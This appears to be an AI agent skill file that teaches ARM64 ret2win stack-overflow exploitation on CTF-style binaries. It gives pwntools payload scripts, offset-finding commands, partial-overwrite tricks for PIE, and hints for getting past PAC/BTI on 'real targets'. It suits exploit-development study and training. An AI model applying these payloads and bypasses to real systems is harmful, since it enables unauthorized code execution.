| name | arm64-ret2win-exploitation |
| description | How to perform ARM64 stack overflow ret2win exploitation. Use this skill whenever the user mentions ARM64, AArch64, stack overflow, buffer overflow, ret2win, return address hijacking, or wants to exploit a binary on ARM64 architecture. This includes finding offsets, crafting payloads, handling PIE binaries, and working around modern hardening like PAC/BTI. |
ARM64 Ret2Win Exploitation
A skill for performing return-to-win stack overflow exploitation on ARM64 (AArch64) binaries.
When to use this skill
Use this skill when:
- The user wants to exploit a stack buffer overflow on ARM64/AArch64
- The user needs to find the offset to overwrite the return address
- The user is working with ret2win challenges or similar return address hijacking scenarios
- The user needs to handle PIE (Position Independent Executable) binaries on ARM64
- The user is dealing with modern AArch64 hardening (PAC/BTI)
- The user is working on macOS with ARM64 binaries
Core Concepts
ARM64 Stack Layout
On ARM64, the stack frame typically looks like this:
Higher addresses
├── Saved x29 (frame pointer) - 8 bytes
├── Saved x30 (link register/return address) - 8 bytes ← TARGET
├── Local variables
└── buffer[64] - 64 bytes
Lower addresses
Key facts:
x30 (or lr) is the link register containing the return address
x29 is the frame pointer
- Functions save both with:
stp x29, x30, [sp, #-16]!
- The saved return address is at
sp+8 relative to frame base
- For a 64-byte buffer: offset = 64 (buffer) + 8 (saved x29) = 72 bytes
- Stack must remain 16-byte aligned at function boundaries
Finding the Offset
Method 1: Using GEF (GDB Enhanced Features)
gdb -q ./binary
pattern create 200
run
pattern search $x30
Method 2: Using pwn cyclic patterns
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
Then after crash, find the offset:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
Method 3: Manual stack inspection
gdb -q ./binary
b *vulnerable_function + 0xc
run
info frame
b *vulnerable_function+28
c
Exploitation Scenarios
Scenario 1: No PIE (Static Addresses)
When the binary is compiled without PIE (-no-pie), function addresses are fixed.
Steps:
- Find the offset (typically 72 for 64-byte buffer)
- Get the address of the target function:
objdump -d binary | grep win
- Craft the payload:
from pwn import *
binary_name = './ret2win'
p = process(binary_name)
context.arch = 'aarch64'
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
p.send(payload)
print(p.recvline())
p.close()
Scenario 2: PIE with Off-by-2
When PIE is enabled, you can sometimes use relative offsets if the return address is already close to the target.
Steps:
- Find the offset (72)
- Calculate the relative offset from the current return address to the target
- Overwrite only the last 2 bytes:
from pwn import *
binary_name = './ret2win'
p = process(binary_name)
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
p.send(payload)
print(p.recvline())
p.close()
Scenario 3: PIE with Address Leak
When you have an address leak, calculate the target address dynamically.
Steps:
- Extract the leaked address from program output
- Calculate the target function offset from the leaked function
- Compute the runtime address
- Craft the payload
See the bundled script ret2win-exploit.py for a complete example.
Scenario 4: macOS ARM64
macOS has specific considerations:
- Cannot disable PIE
- Cannot disable NX (hardware-enforced)
- Use
DYLD_DISABLE_ASLR=1 to disable ASLR
- Use
lldb instead of gdb
Finding offset on macOS:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
lldb ./binary
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
(lldb) register read x30
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
Modern AArch64 Hardening
PAC (Pointer Authentication Code)
If PAC is enabled, return addresses are authenticated. Check for it:
readelf --notes -W binary | grep AARCH64_FEATURE_1_PAC
objdump -d binary | grep -E 'paciasp|autiasp'
Workarounds:
- For learning: compile with
-mbranch-protection=none
- For real targets: use non-return hijacks (function pointer overwrites) or ROP that avoids
autiasp/ret pairs
BTI (Branch Target Identification)
BTI requires landing pads at function entries. Check for it:
readelf --notes -W binary | grep AARCH64_FEATURE_1_BTI
objdump -d binary | grep 'bti c'
Workarounds:
- Target exact function entries with
bti c instructions
- Avoid returning to arbitrary addresses
Check Hardening Status
Use the bundled script check-hardening.py to quickly check for PAC/BTI:
python3 check-hardening.py ./binary
Running on Non-ARM64 Hosts
If you're on x86_64 but want to practice ARM64 exploitation:
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
gdb-multiarch ./ret2win -ex 'target remote :1234'
Common Pitfalls
- Wrong offset: Always verify with pattern generation, don't guess
- Wrong address size: ARM64 uses 8-byte addresses (
p64), not 4-byte (p32)
- Stack alignment: Keep SP 16-byte aligned for ROP chains
- PAC/BTI: Check for these before attempting exploitation
- PIE: Remember addresses are randomized at runtime
Bundled Scripts
find-offset.py - Generate cyclic patterns and find offsets
ret2win-exploit.py - Template for ret2win exploitation with leak handling
check-hardening.py - Check for PAC/BTI in binaries
References